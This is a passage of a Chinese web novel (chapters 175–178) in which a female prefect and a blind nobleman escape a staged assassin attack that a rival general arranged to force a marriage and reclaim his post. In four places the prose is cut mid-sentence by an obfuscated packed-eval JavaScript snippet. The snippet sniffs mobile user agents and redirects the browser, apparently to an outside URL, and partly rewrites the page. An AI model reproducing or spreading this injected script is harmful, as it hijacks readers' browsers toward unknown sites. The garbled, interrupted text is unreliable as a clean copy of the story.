赵仁顺愣了一下,随即笑道:“云大人真是巾帼不让须眉啊,我还是第一次见到女官,而且能成为如此高官。” 云水谣忽然想起一件很尴尬的事,就是她和赵仁顺都算是幽州刺史。如果赵仁顺不失踪,也轮不到她来当这个刺史。 之前的董刺史已故,倒没有冲突;但现在赵刺史活着回来了,那到底谁来当这个刺史? 皇帝之前也没说,如果前几任刺史还活着,要如何处理。 云水谣年轻,经验浅,而且内心也不是很看重官职高低,本来让给赵刺史也没什么。 但她能有今天,也是通过自己努力得来的,而且她非常需要成为女相,让皇帝赦免她的家人。 所以,她也有不相让的理由。 不过,最终的结果她说了不算,还是要请示皇帝。 但如果她私底下请安正则帮忙,走太子的门路,保住自己的官位,应该也可以。 云水谣还在纠结,赵仁顺已经爽朗一笑:“若没有云大人帮忙,我也回不来。如今云大人既然在幽州刺史任上,就请接着当下去吧,我还回军营当我的将军便是。” 云水谣道:“赵将军且慢,待我上书一封,请示皇上。” “也好。那等圣旨下来之前,幽州的政务就劳烦云大人了。我是个粗人,本来也不耐烦处理政务。若非前两任刺史失踪,我也不会赶鸭子上架,成为刺史。” 见赵仁顺如此说,云水谣心里轻松了一些。 她问道:“不知赵将军担任刺史期间,有没有查到前两任刺史的踪迹?” 175.偶遇 “没有。我当时大部分精力都用来攻打梅花县了,打完之后,没过多久又被掳到了瀚海国那边。对于前两任刺史的踪迹,我可以说是一无所知。当时,我接到飞箭传书,书信上说有前两任刺史的消息,但我必须独自去赴会。我虽然觉得可疑,但也去了。没想到就因为这次大意,让我自己成了俘虏。” 赵仁顺说话有些中气不足,应该是累了。云水谣也没什么想问的了,赶紧让人送他回官舍休息。 现在,第三任和第四任刺史都已经找到,只剩下前两任刺史了。 只要找到陆文远刺史和林益恭刺史,自己的任务就算圆满完成。 只是,如果那两位刺史也还活着,云水谣也许真的当不了这个幽州刺史了。 一个州有四个刺史,委实太多了些。 也许皇上也会按照先来后到的原则,让第一任陆文远继续当刺史,其他人安排别的官。 如果是这样的话,云水谣希望自己的下一个官职不要太低。 但是,当官的事很讲究时机,高一点的官职也得恰好有空缺才行。如果没有,云水谣也只能低就了。 希望是个实职官,这样自己还能继续办一些政务,积攒声望,为将来的升迁做准备。 云水谣忽然觉得自己想太多了,前两任刺史还没找回来呢,到时候再说吧。 她觉得自己好像忘了什么重要的事,但想不起来了。 于是,她干脆不想了,回到大牢,释放了高文锦。 她把事情的经过简略地跟高文锦说了,高文锦有些伤心:“原来我师兄真的是瀚海国的细作,可他以前伪装得那么好,我完全没怀疑过他。” 云水谣安慰道:“伪装成好人也是一种天赋,正因为他有这样的天赋,才会被其父选中当细作。好在他现在已经回瀚海国了,暂时没法耍什么阴谋诡计了。高姑娘,你应该感到庆幸,至少他这么多年都没有害过你。” “他确实没害过我,但他也从我这儿得到了许多好处。有一些功法秘籍,只有我有,我把他当亲人,也都偷偷教给他了。可是,他功夫越高,对大夏的威胁越大,那我岂不是也有责任?” “你怎么会有责任,你根本就不知道他是细作。高姑娘,你武功高强,又有侠义心肠,有没有考虑留在官府,为国效力?我这里有一个女兵营,如果你加入的话,做个军官问题不大。如果不想当女兵,也可以当我的侍卫,月钱也很高。” 高文锦摇头道:“我散漫惯了,没法在官府任职。我还是继续做一个游侠吧,以后有缘再会。” 云水谣也没勉强她,笑道:“好,那再见了。” 高文锦朝云水谣拱手行了个礼,便策马离开了。她飒爽的英姿消失在远方,云水谣知道她属于风,属于天地,但不属于官府。 各安其命,各奔东西,也挺好的。 —— 云水谣让小吏们画了许多前两任刺史的画像,张贴在全城各处。如果有人知道前两任刺史的消息,告知官府,可得重赏。 这样的告示一直都有,不过以前的告示有些陈旧了,所以云水谣换了一批新的画像,还提高了赏金额度。 她希望这些新告示能发挥作用,但又觉得,之前寻找两位刺史的告示张贴了这么久,都没人来官府提供线索,这会得到线索的可能性不大。 因此,也只能暂时听天由命了。 云水谣这阵子连轴转,有些累了,便在自己的官舍休息两日。 有空时,她会去探望赵仁顺。赵仁顺住在她附近的官舍里,一直在养伤,很少出门。 有了大夫的医治,他的伤已经开始好转。 男女有别,云水谣也没亲自查看过赵仁顺的伤口,只是听大夫说起,赵仁顺身上有各种各样的伤痕,有些是陈年旧伤,有些是这段时间在敌营里伤的,总之触目惊心,身上可以说没有一块完好的皮肤。 对于赵仁顺这样的武将,云水谣也是很佩服的。她当官当得并不轻松,但显然武将更辛苦,更危险。如果没有武将保家卫国,文官和百姓都将失去依仗。 因此,云水谣购买了一些上好的金疮药给赵仁顺用,赵仁顺有些过意不去,几次要给云水谣钱,云水谣都拒绝了。 这天,云水谣起了个大早,在房间里拉伸一下身体。丫环兰心说道:“小姐,我听说城东的文庙很灵,里面供奉的文昌帝君,是管官员升迁的。明日那边有法会,不如咱们也去拜拜,让文昌帝君保佑您快点升官。” 云水谣笑道:“我这不是刚升吗?” “哎呀,咱们去拜一下嘛,正所谓礼多人不怪,让文昌帝君眼熟您才好。” “好吧。” 云水谣正好明日休沐,而且很久没有出行了,不如就去文庙拜一拜。 第二天,云水谣带着丫环们一起来到了城东的文庙。 这个文庙很大,供奉着很多神明。今日恰好有法会,可谓是人流如织。 云水谣穿了一身女装,上身是天蓝色织金缎加绒对襟袄,下面配了一条月白色绣牡丹百褶裙,戴了几支珊瑚红色的钗环,不施粉黛,清丽又亮眼。 她大部分时候穿着官服,如今换回女装,倒挺不错的。 她不喜欢挤在人群中,因此便沿着边缘走,避开所有热闹的地方。 文庙里支起了许多小摊子,卖各种好看的小玩意。但人太多了,她就不往前凑了。 几个丫环想去看看,云水谣便让她们单独逛去了。她们平时一直在自己身边,也挺拘束的,今日让她们放放风倒好。 反正云水谣身边还有几个护卫跟着,问题不大。 云水谣绕了一大圈,终于来到了文昌帝君的大殿。 她点燃三支清香,恭敬地拜了三拜,然后把香插上,在心里默默许愿:“请保佑信女早日成为女相,信女必当造福百姓,为国效力,持身端正,不敢逾矩。” 在这里拜神的大部分都是学子,他们看见云水谣一个姑娘家也来拜,便问道:“这位姑娘,您是替家中兄弟求功名的吗?” 云水谣笑了笑:“不是。家中兄弟若能高中,固然可喜;但女孩也可以求学识渊博,修身养性,增广见闻,方不辜负自己的生命。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091043|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完,云水谣便离开了。 这些学子是第一次听见这样的论调,觉得新鲜,倒也有几分道理。女孩因为没什么上升渠道,所以默认是不用在学业上努力的。但若是自己想努力,又有什么不可以?学到的知识是自己的,因读书而养成的高洁性情也是自己的。 他们家中也有一些姐妹、女儿爱读书的,以前他们都懒得教,现在倒是觉得,教一教也没什么不可以。 云水谣到处逛了逛,竟发现这里还有财神殿、月老殿。这两个殿内香火都很鼎盛,人挤人的,她就没进去。 这时,云水谣听见两个姑娘在说话: “后面有个药王殿,咱们去拜一拜吧,保佑咱们的家人身体健康。” “可是我家人身体很健康。” “那可以祈求他们一直健康嘛,总之拜一拜没坏处。” 这两个女孩一边说,一边往后走去。 云水谣也想起了自己在岭南的家人,也不知道他们怎么样了。流放岭南的犯人是要不停地劳作的,云水谣很希望她们都能健康地活着。 因此,云水谣也决定去药王殿拜一拜。 药王殿在角落里,比较小,若不是听人提起,云水谣还注意不到。 她进了药王殿,正好看见安正则把几张纸放在桌案上,然后对着药王像拜了三拜。 云水谣喜道:“安公子!你怎么在这里?” 安正则回头笑道:“是云大人?因我父母最近身体欠安,我听说这里的药王殿很灵,就抄写了几卷经书,供奉于此,希望能让我父母身体安康。” “原来如此。安公子现在还能抄经?” “能,我可以凭感觉写字,不会错乱。大部分的经书我都会背,所以看不见也没关系。” 云水谣看了看桌案上的经书,见上面的字迹端整秀丽,不仅大小一样,就连每个字之间的间距也一样。便是双目完好的人,也未必能写得这么整齐。 云水谣不禁很佩服安正则,笑道:“安公子,你写得真好,改天替我也写几个字。” “好,你要什么字?” “《灵飞经》吧。” “等我有空写给你。” 安正则的表情有些惊喜,他大概没想到有人会向他一个盲人求字吧。 而这也是云水谣的目的,她希望安正则能对自己更有信心。安正则纵然眼盲,也比许多身体健全的人强得多。而且,云水谣也是真心喜欢安正则的书法。 安正则写的是楷书,笔画端正俨然,就像他的人品一样。 云水谣问道:“听说安公子前几日有些水土不服,现在可好了?” 安正则道:“已经好了。” 这时,旁边有两个游客闲聊道: “后山上有绿梅,咱们一起去看看吧。” “绿色的梅花?好不好看?” “当然好看了,比你娘都好看。” “你这是什么话。” 这两个游客往后山上去了,云水谣也动了心思,对安正则道:“安公子,我也去看看绿梅。” 176.落花 安正则微微一笑:“那我也去,我喜欢闻梅花的香味。” “好啊,若是有好看的绿梅,还要请安公子帮我折一枝。” “没问题。” 两人往后山走去。 后山比较陡,平时就没什么人走,今日更是一路上都看不见人。 到了梅花盛开处,云水谣发现好几棵树上的梅花都掉落了下来,枝头上一朵也不剩。这肯定不是被风自然吹落的,应该是人为。 听说有些人喜欢在花开的时候拼命摇树,让花瓣落在自己身上,营造唯美的氛围。只不过她们倒是唯美了,后面的游客可就惨了,什么美景也观赏不到。 也许这里的梅花也是被那种自私的游客摇落的,云水谣不禁皱了皱眉。 这花开在树上,高低错落的才好看,零落成泥就失了气韵。 不过,她看见远处还有一株梅树上面有花,便道:“只有那边的树上有绿梅了,我们去那边看吧。” 安正则便跟着云水谣的脚步,又走了一段山路,终于到了盛开的梅花树下。 枝头的绿梅开得正好,颜色像是翠玉一般,轻盈通透,又带着几分仙气,让人见之忘忧。 安正则问道:“云大人看上了哪枝,我帮你折。” 云水谣笑着摇头:“算了,这么美的花,让它们继续在枝头活下去吧。” 这时,四周忽然蹿出许多黑衣刺客,朝云水谣、安正则二人攻击。 云水谣和安正则都带了暗卫,但两人的暗卫加起来也才二十几个,这些刺客竟有四五十个。 见刺客势大,安正则掩护着云水谣逃跑,让暗卫们先把刺客挡一阵。 云水谣十分慌乱,不知道该往什么地方跑,反而是安正则十分机警镇定,带着云水谣东奔西跑,每次都能在看似杂乱的地方找到可以走的小径。 遇到不好走的地方,安正则也顾不得许多,直接把云水谣抱过去。 身后的脚步声越来越近,云水谣心跳如鼓。 是什么人同时要杀云水谣和安正则两个?他们俩明面上根本不熟,云水谣在为太子效力一事,也没什么人知道。 所以,应该不会是太子的政敌,否则刺客只需要追杀安正则就可以了。毕竟安正则跟太子关系很亲近,而云水谣到现在连太子的面都没见过。 如果是云水谣以前无意间得罪了什么人,那对方为什么要连安正则一起追杀? 莫非是瀚海国那边的奸细,知道云水谣和安正则都身份尊贵,所以要杀他们两人? 云水谣心中有许多猜测,但没法下准确的判断。 她被安正则拉着跑,只能把性命交托给一个盲人。然而,这个盲人却比许多正常人都要令她安心。 她原先只知道安正则练过武,没想到他的武功这么高。 在一些没有路的树林、峭壁上,安正则能很轻巧地抱着云水谣飞过去,落地时还十分平稳,就像一只风筝。 若有刺客追得近了,安正则还能分心将刺客打退。 有些地方是有路的,但同时也有刺客守着,所以云水谣和安正则只能去那种荆棘横生或是灌木茂密之处逃跑。 也不知跑了多久,云水谣只觉得自己一点力气也没有了,但并未将刺客甩掉,她只能心里干着急。 察觉到云水谣脚步沉重,安正则直接将云水谣背了起来。他没有说话,因为说话容易暴露位置,也容易让真气涣散。 安正则耳力过人,听到许多方向都有刺客的脚步声,只有东南方向没有,便背着云水谣往东南方向而去。 跑了一阵,前面没路了,底下是一片很陡的斜坡,长满了灌木。虽然不是悬崖,但如果掉下去,恐怕也会受伤。 眼看那些刺客追上来了,安正则没办法,便用自己的大氅裹住云水谣的头脸,然后带着她跳了下去。 他们落在了斜坡上,但由于巨大的冲劲,两个人都没站稳,继续滚了下去。 安正则将云水谣护在怀里,以免她被灌木划伤。虽然不能确保没有伤口,但至少可以少受一些伤。 而云水谣一直很懵,已经没法思考。她不知道自己能不能脱险,也不知道这样滚下去会不会没命。 她觉得自己还有很多事没做完,又怕自己会死,又在猜测刺客的身份,甚至有一个念头在想如果逃出生天,要去吃什么。 她这短短一瞬间的念头太多太杂,听说临终之人才会有这么多想法,跟走马灯似的。 不过还好,滚下斜坡后,她感到自己身上有些痛,那么自己的命就还在。 她的头一直被安正则的大氅蒙着,看不清外面。 这时,安正则小心翼翼地把大氅解开,在她头上摸了摸,似乎想确认她有没有伤到要害。 他们这会还没起身,云水谣还被安正则用力地抱着,这样的姿势有些暧昧。 不过云水谣知道安正则只是为了保护她,所以也没想太多。 她试着站起来,可是脚很疼,暂时起不来。 安正则的腿似乎也伤着了,便只能跟云水谣一起坐在地上。 云水谣见安正则头上和脸上都有树枝、树叶之类的杂物,便伸手替他掸掉。他脸上有些划痕,虽然不深,但白璧微瑕,看着也令人心疼。本来安正则若是用大氅护住自己的头脸,就不会受伤,但他当时本能地护住了云水谣。 云水谣只是身上被划伤了,但脸没事,头也没有受到撞击。 这时,却听见不远处有一个粗犷的声音笑道:“安将军,之前你还担心令侄的婚事。依我看,不用担心了,他自己找了个不错的对象。你看他们俩,关系好得很。” 云水谣转头看去,见不远处站着安亭振和赵仁顺二人,手上还拿着弓箭,似乎是来这里练习射箭的。 他们两人都笑着看向云水谣和安正则,带着几分长辈的慈祥。尤其是安亭振,看云水谣的眼神简直是在看未来的侄媳妇。 云水谣赶紧说道:“不是你们想的那样,我跟安公子刚才遭到了刺客追杀,迫不得已从斜坡滚落。我们都受了伤,站不起来。” 安亭振这才发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15095422|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现异常,赶紧三步并作两步,跑了过来,果然看见安正则脸上、身上都有许多大大小小的伤口。云水谣的情况倒是没有安正则这么严重。 他扶起了安正则和云水谣,问道:“你们能站立吗?” 安正则道:“我只是皮外伤,没有伤到骨头,还能走路,但这会痛得难以行走,请六叔弄两辆马车来。” 云水谣道:“我右脚的脚踝好像肿了,站是能站,但不能走。” 安亭振赶紧说道:“你们先坐下,我让人拿水和食物过来,然后去准备两辆马车,把你们带回去再治伤。” 赵仁顺道:“依我看,倒不用两辆马车了,让他们两人同乘一辆便好。” 安正则却说道:“这样不妥,还是两辆吧。” 赵仁顺掏出两瓶金疮药递给云水谣和安正则,道:“你们先用这金疮药随便涂一下,等回到住所后,再让大夫好好看看。” 云水谣和安正则赶紧道谢。 安亭振叫来几个士兵,吩咐他们分头去准备水、食物和马车,再找两身干净衣服来。 交代完这些事后,安亭振才有工夫问道:“你们遭到什么人的追杀?对方有多少人?” 安正则道:“不知对方是什么人,刺客总共有四五十个吧,没仔细数。” “跟你们的人呢?” “我们两人的暗卫加起来才二十几个,被那些刺客拖住了,我们也是好不容易才逃出生天的。” “那些刺客可有说什么话?” “没有,什么话都没说,一出现就攻击我和云大人,好像我们两人都是他们的目标。但我和云大人怎么可能同时得罪同一批人?” “是啊,你们见面的次数都很少,平时的交际圈子也不太重合。” 正说着,云水谣忽然道:“奇怪,那些刺客怎么没追下来?” 赵仁顺道:“莫非是看见我和安将军在此,他们觉得没有胜算,干脆就走了?” 云水谣道:“也有可能。还好两位将军在此,否则我们这会还没脱险。不知两位将军为何会在这里?” 安亭振道:“这里是一个射箭馆,赵将军约我来射箭的,没想到偶遇了你们。” 很快,士兵们拿来了水和食物,云水谣和安正则先吃了一些。虽然他们的手很脏,但仓促之间没法洗手,也只能随便一点了。 吃下一些食物后,云水谣紧张的心情得到了缓解。 她见安正则的大氅已经破了,便说道:“安公子,我回去之后给你买一件新的大氅。” 以安正则的身份,应该不会穿缝补过的衣服,所以破的这件也就没必要缝补了。 安正则笑道:“没关系,不用赔给我,不过是一件衣服而已。” 赵仁顺说道:“云大人,你受伤比安公子轻,可见他刚才一直护着你。依我看,安公子虽然眼盲,却是个良配,你不如考虑一下他?趁着安将军也在,不如让他来做媒人。” 云水谣有些不好意思,笑道:“赵将军一个大男人,怎么如此热衷于给人做媒?” 177.做媒 “哎,我平时可不给人做媒,今日刚好看见你们两个,突然觉得你们很般配。安公子刚才舍命护你,不顾自身安危,恐怕不止出于同僚之情。这么好的小伙子,不赶紧定下,将来怕是会被别人抢走。安公子过几天不是要回京了吗,我看你就跟他一起回去,让他家长辈给你谋个京城的差事,做官婚事两不耽误,岂不是很好?” 云水谣不知该如何回应,安正则替她解围道:“赵将军想差了,刚才不论我身边的是谁,我都会保护她的。云大人脸皮薄,您可别再提这些不着调的话了。” “好吧好吧,我不提就是了,哈哈哈。” 这时,云水谣和安正则的暗卫都找了过来,下跪请罪:“属下等没有保护好主子,请主子责罚。” 安正则和云水谣都道:“没事,起来吧。” 安正则问这些暗卫:“刚才的情况如何?你们可有伤亡?” 暗卫首领道:“刚才那批刺客,每一个的武功都不在我们之下,所以他们那边的二十几人就把我们全部拖住了,剩下的几十名刺客去追杀两位主子,我们也拦不住。 不过,他们武功虽强,却始终没有占太大优势。我们交手许久,他们大约是觉得胜算不大,就一起撤退了。我们只是受了一些轻伤,无人死亡,也没法分心去追那些刺客,赶紧回来找两位主子。” 安正则问道:“他们是什么武功路数,看得出来吗?” “什么流派的武功都有,比较杂,那些刺客看着不像是同一个组织出来的。” “你们辛苦了,先去休息吧。” “是。” 过了一会,两辆马车准备好了。 云水谣的丫环们找了过来,云水谣便跟丫环们同乘一辆车。 安亭振、安正则叔侄俩共乘一辆车,赵仁顺将军骑马。 马车里,安亭振试探性地问安正则:“正则,那个……你对云大人,真的没什么想法?” 安正则有些不自然地咳嗽了两声,道:“叔父,您怎么也不正经起来了?” “叔父只是觉得,你若能跟云大人喜结连理,倒也不错。你的身份跟她般配,只是你眼盲了,我们家可以多出点彩礼,并且在仕途上多帮助她,也算给她补偿了。你觉得呢?” “叔父,我跟她……其实勉强可以算是合作伙伴吧。” “你们这么不熟的吗?” “是啊。” “男孩子要主动啊。” “叔父,您再这样说的话,我就要踩您的新靴子了。” “哎,这可不行,这靴子是刚做的。” “那您就好好盯着新靴子,别想些有的没的。” —— 接下来几天,云水谣照常处理政务。 只是,关于安正则和云水谣是一对的传言,越来越多了,云水谣自己也无意间听见了好几次。 她公务繁忙,无暇理会这些流言。 她有些无奈,自己都成为女官了,也免不了在婚姻之事上被人调侃和议论。 她并不讨厌安正则,反而心里对他比较亲近,只是她并没想过要嫁给安正则。她对安正则的感情,大概是怜悯、敬佩、尊重、欣赏等。安正则是一个优秀的年轻人,云水谣觉得他有很多优点。 但云水谣看他,就像是在看一棵在风雨中顽强生长的树。 在这些流言愈演愈烈的时候,云水谣却忽然想起了元景佑。 也不知道他现在怎么样了…… 安正则在幽州待不了多久,等他回了京城,而云水谣继续在幽州做官,这些流言应该就会平息了。 所以,云水谣觉得自己不用管。 这天,安正则却来找云水谣。 云水谣将他请进客厅,笑道:“安公子,我还以为你走了。” “没有。本来是打算走的,但最近有一些流言,事关你我……我觉得这些流言传出来不太好,所以想制止。” 云水谣脸一红,笑道:“不用管它,不实的流言迟早会消散的。” 安正则听云水谣这样说,心里有些微的失落。不过他掩藏得很好,继续说道:“云大人不觉得,这一切都是设计好的吗?” 云水谣吃了一惊,问道:“安公子何出此言?” “你当日为何会去文庙?” “是我的丫环提议让我去的……莫非,安公子怀疑我的丫环被人收买了?不会的,她是从小就跟着我的……” “不,我不是这个意思。你的丫环当然没被人收买,但别人却可以通过一些方式,让她产生提议你去文庙的想法。那个丫环在哪里?” “她叫兰心,正在厨房做饭,我叫她出来。” 过了一会,兰心出来了,问道:“小姐,什么事?安公子也在啊,安公子可要喝茶?” 安正则随和道:“不用了。兰心,你当日为何会提议让你家小姐去文庙?” 兰心道:“我在外面买东西时,听人说起,说城东的文庙求仕途很灵验,而且第二天还是法会,非常热闹,因此我就想让小姐带我们去文庙。” 安正则道:“这就是了。你知道你家小姐有升官的想法,所以你想帮她。但其他事你做不了,只能提议她去文庙拜一下,对吗?” “对,就是这样。” 安正则转向云水谣,道:“当日,我身边的下人也是这般提议我去文庙的。因为我当时正为父母的身体忧心,我的下人听说文庙里供奉的药王很灵验,就让我去拜一下。我想,我们身边的下人都不是偶然‘听说’,而是有人故意在他们面前提起。” 云水谣恍然大悟:“原来如此……当时,我本来不知道文庙里有个药王殿,也是听附近的游客说起,才想着去看看,然后就在药王殿遇见了你。当时我们闲聊了一阵,我们身边的游客又说起后山的绿梅好看,我们才想去看的。如今想来,我们当日的每一个举动,似乎都是被设计好的。” 安正则点头道:“正是如此。当时我们到了绿梅盛开的地方,你说所有的梅花都落在了地上,我觉得有些奇怪。后来你说,只有远处的最后一棵绿梅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099708|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有花盛开,我们就去了最后一棵绿梅树下。其实,前面那些梅花并非是被普通的游客摇落,而是被那些刺客故意摇落的。 他们知道我们去后山的目的是赏梅,而他们在最后一棵梅花树下设了埋伏。为了引我们去那边,他们便把其他梅树上的花都摇落了。 至于我们的暗卫都活了下来,没受太重的伤,我们滚下斜坡后也没有刺客再追来,是因为那些刺客的目的不是杀人,而是要让我们俩以比较亲密的姿态出现在我叔父和赵将军面前。这样,就可以显得我们关系不一般,把我们说成是一对。” 云水谣困惑道:“对方做了这么多事,绕这么大一圈,竟然只是为了给我们两个做媒?他这是图什么?” 安正则问道:“你真的想不到?” 云水谣摇头:“想不到。” 安正则:“假如你真的顺水推舟,答应了跟我的婚事,我们必定是要回京城完婚的。婚后,我家中长辈为了不让我们俩分离,肯定会给你安排一个京城的职位,不让你回幽州。那么,幽州刺史之位又空缺了。 而赵仁顺将军本就当过幽州刺史,只是因为被瀚海国掳走,才失联了一段时间。那么,朝廷可能会顺理成章地继续任命赵将军为幽州刺史。就算皇上没这个意思,赵将军只要联络京城的一些人脉,请他们帮忙在皇上面前美言几句,皇上就有很大可能让他继续当幽州刺史。” 云水谣把前因后果捋了一遍,惊讶道:“安公子的意思是,策划这一切的,就是赵仁顺将军?” “没错,这些天我经过调查,确实发现了一些线索,都跟他有关。你想想当日我们俩出现在他和我叔父面前时,他是不是很着急地把我们说成一对,还想极力促成我们的婚事?” 云水谣回想起来,好像赵仁顺当时确实着急了些。他一个五大三粗的武将,本来不应该关心两个不太熟悉的年轻人的婚姻大事才对。 但是,云水谣嫁回京城,对他有好处,所以他才这么积极。 云水谣觉得有些震惊,她本以为赵将军只是一个冲动冒进的武夫,没想到还有如此心思。 她说道:“可是之前,他完全没有表现出想继续当幽州刺史的意思。” “他表面上不在意,其实心里在意。所以,他希望你能有一个合理的理由自己离开幽州。他撮合了我们俩,就可以神不知鬼不觉地达成他自己的目的。他不愧是当了二十年将军的人,这运筹帷幄的手段,让人不得不佩服。好在他只是让我们一起遇险,而不是给我们下.药,手段上还不算特别下作。” “我们身边一直有很多人守着,他想下.药也找不到机会,所以他才想出这个办法。现在该怎么办?” “他现在暂时在我叔父那边任职,我让我叔父敲打一下他就好。他虽然设计我们,好在没有造成严重损失。就算他的计谋成功,你最多不过是调到京城做官,你的人生并没被毁。所以,他还算有点底线。念在他多年为将不易,我的想法是不把事情闹大,让他自己反省改过便好。云大人以为如何?” 178.敲打 云水谣道:“这样也好。如果我和赵将军闹矛盾,被皇上知道了,皇上可能会心烦,连带着对我的印象也不好,得不偿失。但我现在担心,他会一计不成,又生一计。” “我会设法让他调往别处,幽州的官职他是别想了。” —— 灞桥营里,安亭振把赵仁顺叫了过来。 赵仁顺笑道:“安将军叫我何事?我新得了几坛美酒,等晚上一起喝?” 安亭振道:“赵将军,你做的事,我已经知道了。” 赵仁顺面色一变,勉强笑道:“安将军此言何意?” “虽然我很希望正则能娶到心仪的妻子,但那必须出于自愿,而不是被人设计。” “那是自然,安公子这么聪明,又有谁设计得了他?” “你说对了,他确实很聪明,而且他查案也是一把好手。所以,他查到了是谁唆使他去文庙,跟云大人会面,他们两人又是如何遇到刺客的,刺客的真正目的是什么。这里有几份供词,赵将军要看看吗?” 赵仁顺看了那些供词一眼,就知道事情败露了。因此,他也不装了,愤愤不平道:“是我想方设法撮合他们,但我有什么错?如果他们两人成婚,安公子有了如花美眷,云大人能调回京城做官,我也能继续当幽州刺史。这是一举三得的好事,我没害任何人。” “谁当幽州刺史,是皇上说了算,不是你自己想怎样就怎样。” 赵仁顺冷笑道:“我怎么了?我就不配当幽州刺史?我知道,在你们这些世家子弟眼里,像我这种从底层爬上来的人,永远没法跟你们比。从我应征入伍开始,到后来当上军官,再成为将军,一直到今天,已经三十多年了。这么久以来,我始终只是个五品将军。 是我能力不足吗?不是!是你们这些世家垄断了所有好的职位,而我只能屈居人下!陆文远,林益恭,他们一无是处,不过是仗着家族的权势,才成为幽州刺史。好不容易他们失踪了,皇上终于想到了我,让我当了幽州刺史。 为了报答皇上,也为了证明我自己的才能,我在一个月内打下了梅花县。若不是被瀚海国掳走,我还能打下更多地方。到时候,谁也没法跟我比战功。 在我之后的那个刺史董商衡,酸腐文人一个,就会写几首酸诗,他也配当刺史?还好他死了,我就不说他了。那云水谣又算什么?一个二十来岁的小姑娘,就算读过一些书,又凭什么升得这么快?她又凭什么跟我等同? 我在战场上拼命厮杀的时候,她还没出生呢!要我让位给她,不可能!今日既然被发现了,那我也无话可说。你把我送到大理寺吧,要杀要剐我都认了。” 安亭振道:“赵将军何必如此激动?你的心思我都能猜到。我若想将你治罪,就不会单独找你说话了。你之前一直没法升官是因为军功不够,你知道朝廷的考校之法,并非根据做官时间来定官职高低。你所做的事,正则和云大人都不会跟你计较,可以当做没发生过。我也不会因为这件小事,让朝廷损失一位将才。 你一直觉得是世家垄断了更高的职位,可事实是,有很多职位都是由平民出身的人担任的,自本朝建.国以来一直如此。你若对历史不熟悉,可以翻翻史书。就是现在还活着的高官中,就有一部分出身跟你差不多。 所以,你无需愤世嫉俗,只要好好做事,不会被埋没的。” 听了这些话,赵仁顺有些惭愧,下拜道:“是我以小人之心度君子之腹,多谢安将军不计前嫌,开解于我。” 安亭振扶起他,道:“我今日之所以提起此事,是想光明正大地把话说开。如果你真的有本事,有军功,升迁自然指日可待,没有人会阻碍你。至于其他不入流的手段,就不要用了。你觉得自己做得天衣无缝,但总有真相大白的那一天。” 赵仁顺脸色发白,流下冷汗,道:“是,多谢安将军指教。” 赵仁顺走出了营帐,他心神不宁,竟不小心被凳子绊住,踉跄了一下。 ———— 第二天,安正则向云水谣辞行。 云水谣道:“安公子要回太子身边了?” 安正则道:“对,我本还有协律郎的职位,掌管音律,隶属于太常寺,不能长期不在。回京之后,我会继续辅佐太子。云大人,你只管安心待在幽州,无人能抢走你的职位。” “那若是前两任刺史也被救回来呢?” “太子会想办法保留你的职位,让前两任刺史去当别的官。至于赵仁顺将军那边,我叔父已经跟他谈过,他应该不敢再搞什么小动作了。” 云水谣点了点头,道:“那替我多谢太子殿下栽培。” “云大人无需道谢,你和我们之间本属于互相成就。” 安正则又跟云水谣闲聊了几句,就坐上了回京的马车。 马车里,侍从问他:“公子,其实之前已经传出您和云大人感情甚笃的传言,您何不趁此机会,向云大人表明心意呢?虽然此事是赵将军设计,但对公子来说是有利的,可惜公子错失了这个机会。” 安正则摇头道:“有些话还是不说比较好。我现在这个样子,配不上她。” “您双目失明,虽是短处,但她也有短处,比如她家已经被抄家了,若论家世,远不及公子。综合来看,您和她也算般配。而且,您也能给她不小的助力。” “感情是不能拿到秤上称的。我总觉得,我跟她相遇得太迟了。流水不会为树停留,我们的缘分始终差了一步。” “您不试试,怎么知道呢?” “有些事不用试就知道结果。你今天话太多了,罚你做一百个俯卧撑。” “哦。” —— 云水谣又处理了一些公务,不过她最挂心的始终还是前两任刺史失踪之事。 只是,没有百姓来提供线索,她也无从查起。 她叫柳依依把前两任刺史失踪的卷宗拿来,重新回顾一下。 第一任刺史陆文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 